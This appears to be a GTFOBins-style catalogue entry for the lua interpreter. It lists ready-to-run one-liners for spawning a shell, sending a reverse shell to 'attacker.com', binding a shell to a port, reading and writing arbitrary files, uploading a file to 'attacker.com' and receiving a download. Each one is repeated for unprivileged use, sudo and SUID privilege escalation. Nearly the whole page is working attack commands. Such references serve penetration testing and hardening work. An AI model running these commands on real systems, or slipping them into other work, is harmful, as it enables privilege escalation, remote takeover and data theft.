lua
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
lua -e 'os.execute("/bin/sh")'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.lua -e 'os.execute("/bin/sh")'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.lua -e 'os.execute("/bin/sh")'
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
lua -e ' local s=require("socket"); local t=assert(s.tcp()); t:connect("attacker.com",12345); while true do local r,x=t:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));t:send(b); end; f:close();t:close();'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.lua -e ' local s=require("socket"); local t=assert(s.tcp()); t:connect("attacker.com",12345); while true do local r,x=t:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));t:send(b); end; f:close();t:close();'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.lua -e ' local s=require("socket"); local t=assert(s.tcp()); t:connect("attacker.com",12345); while true do local r,x=t:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));t:send(b); end; f:close();t:close();'
Bind shell
This executable can bind a system shell to a local port waiting for an attacker to connect.
- This function can be performed by any unprivileged user.
lua -e ' local k=require("socket"); local s=assert(k.bind("*",12345)); local c=s:accept(); while true do local r,x=c:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));c:send(b); end;c:close();f:close();'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.lua -e ' local k=require("socket"); local s=assert(k.bind("*",12345)); local c=s:accept(); while true do local r,x=c:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));c:send(b); end;c:close();f:close();'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.lua -e ' local k=require("socket"); local s=assert(k.bind("*",12345)); local c=s:accept(); while true do local r,x=c:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));c:send(b); end;c:close();f:close();'
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'
Upload
This executable can upload local data.
- This function can be performed by any unprivileged user.
lua -e ' local f=io.open("/path/to/input-file", "rb") local d=f:read("*a") io.close(f); local s=require("socket"); local t=assert(s.tcp()); t:connect("attacker.com",12345); t:send(d); t:close();'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.lua -e ' local f=io.open("/path/to/input-file", "rb") local d=f:read("*a") io.close(f); local s=require("socket"); local t=assert(s.tcp()); t:connect("attacker.com",12345); t:send(d); t:close();'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.lua -e ' local f=io.open("/path/to/input-file", "rb") local d=f:read("*a") io.close(f); local s=require("socket"); local t=assert(s.tcp()); t:connect("attacker.com",12345); t:send(d); t:close();'
Download
This executable can download remote data.
- This function can be performed by any unprivileged user.
lua -e ' local k=require("socket"); local s=assert(k.bind("*",12345)); local c=s:accept(); local d,x=c:receive("*a"); c:close(); local f=io.open("/path/to/output-file", "wb"); f:write(d); io.close(f);'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.lua -e ' local k=require("socket"); local s=assert(k.bind("*",12345)); local c=s:accept(); local d,x=c:receive("*a"); c:close(); local f=io.open("/path/to/output-file", "wb"); f:write(d); io.close(f);'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.lua -e ' local k=require("socket"); local s=assert(k.bind("*",12345)); local c=s:accept(); local d,x=c:receive("*a"); c:close(); local f=io.open("/path/to/output-file", "wb"); f:write(d); io.close(f);'